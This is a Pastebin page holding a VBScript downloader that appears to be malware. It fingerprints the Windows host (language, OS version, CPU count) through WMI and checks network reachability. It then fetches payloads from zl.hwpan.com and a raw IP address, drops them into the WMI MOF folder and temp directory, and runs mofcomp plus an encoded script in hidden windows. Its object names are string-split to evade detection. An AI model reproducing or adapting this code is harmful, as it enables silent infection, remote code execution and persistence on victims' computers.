Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- On Error Resume Next
- Dim OSlag,OSver,numcpus,objOutParams,objWMIREGService
- Set objWMIREGService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\DEFAULT:StdRegProv")
- objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Nls\Language", "Default",OSlag)
- objOutParams = objWMIREGService.GetStringValue(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "CurrentVersion",OSver)
- objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Session Manager\Environment", "NUMBER_OF_PROCESSORS",numcpus)
- notincn = outcn()
- If OSlag = "0804" Or OSlag = "0c04" Then
- If OSver = "5.2" And notincn = 0 Then
- wlog("hp55-CN-" + OSlag)
- dl "http://zl.hwpan.com/u56393013/cnmof/cnmofb.zip","C:\Windows\System32\wbem\MOF\15.log"
- End If
- WScript.Quit
- If notincn = 1 Then
- wlog("hp55-CN-OUT-" + OSlag)
- dl "http://zl.hwpan.com/u56393013/cnmof/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
- dl "http://zl.hwpan.com/u56393013/cnmof/usmofb2.zip","c:\windows\temp\iisstt.dat"
- runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
- End If
- WScript.Quit
- Else
- wlog("hp55-USA-" + OSlag)
- dl "http://zl.hwpan.com/u56393013/cnmof/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
- dl "http://zl.hwpan.com/u56393013/cnmof/usmofb2.zip","c:\windows\temp\iisstt.dat"
- runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
- End If
- If OSver = "5.2" And numcpus >= 4 Then WScript.Quit
- dl "http://66.186.188.227:88/xc.zip","c:\windows\temp\isst.zip"
- runprg "cscript.exe /b /e:VBScript.Encode c:\windows\temp\isst.zip"
- Function dl(u,f)
- dim xHttp:Set xHttp = createobject("WinH" & "ttp.WinHt" & "tpRequ" & "est.5.1")
- dim bStrm:Set bStrm = createobject("Ad" & "od" & "b.S" & "tre" & "am")
- xHttp.Open "GET",u, 0
- xHttp.Send
- with bStrm
- .type = 1
- .open
- .write xHttp.responseBody
- .savetofile f,2
- .close
- end with
- end Function
- Function wlog(slog)
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- windir = objFSO.GetSpecialFolder(0)
- Set f = objFSO.CreateTextFile(windir + "\wb2010kb.log",1)
- f.WriteLine(slog)
- f.Close
- Set objFSO = Nothing
- End Function
- Function runprg(ppath)
- Set objPS = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
- Set objStartup = objPS.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_()
- objConfig.ShowWindow = 0
- Set objShare = objPS.Get("Win32_Process")
- Set objInParam = objShare.Methods_("Create").inParameters.SpawnInstance_()
- objInParam.Properties_.Item("CommandLine") = ppath
- objInParam.Properties_.Item("ProcessStartupInformation") = objConfig
- Set objOutParams = objPS.ExecMethod("Win32_Process", "Create", objInParam)
- End Function
- Function outcn()
- Err.Clear
- On Error Resume Next
- dim xHttp:Set xHttp = createobject("WinH" & "ttp.WinHt" & "tpRequ" & "est.5.1")
- xHttp.Open "GET","http://tbkinco-hrd.appspot.com/", 0
- xHttp.Send
- If Err.Number <> 0 Then
- outcn = 0
- Set xHttp = Nothing
- Exit Function
- End If
- If xHttp.responseText = "hello" Then
- outcn = 1
- Set xHttp = Nothing
- Exit Function
- End If
- Set xHttp = Nothing
- outcn = 0
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement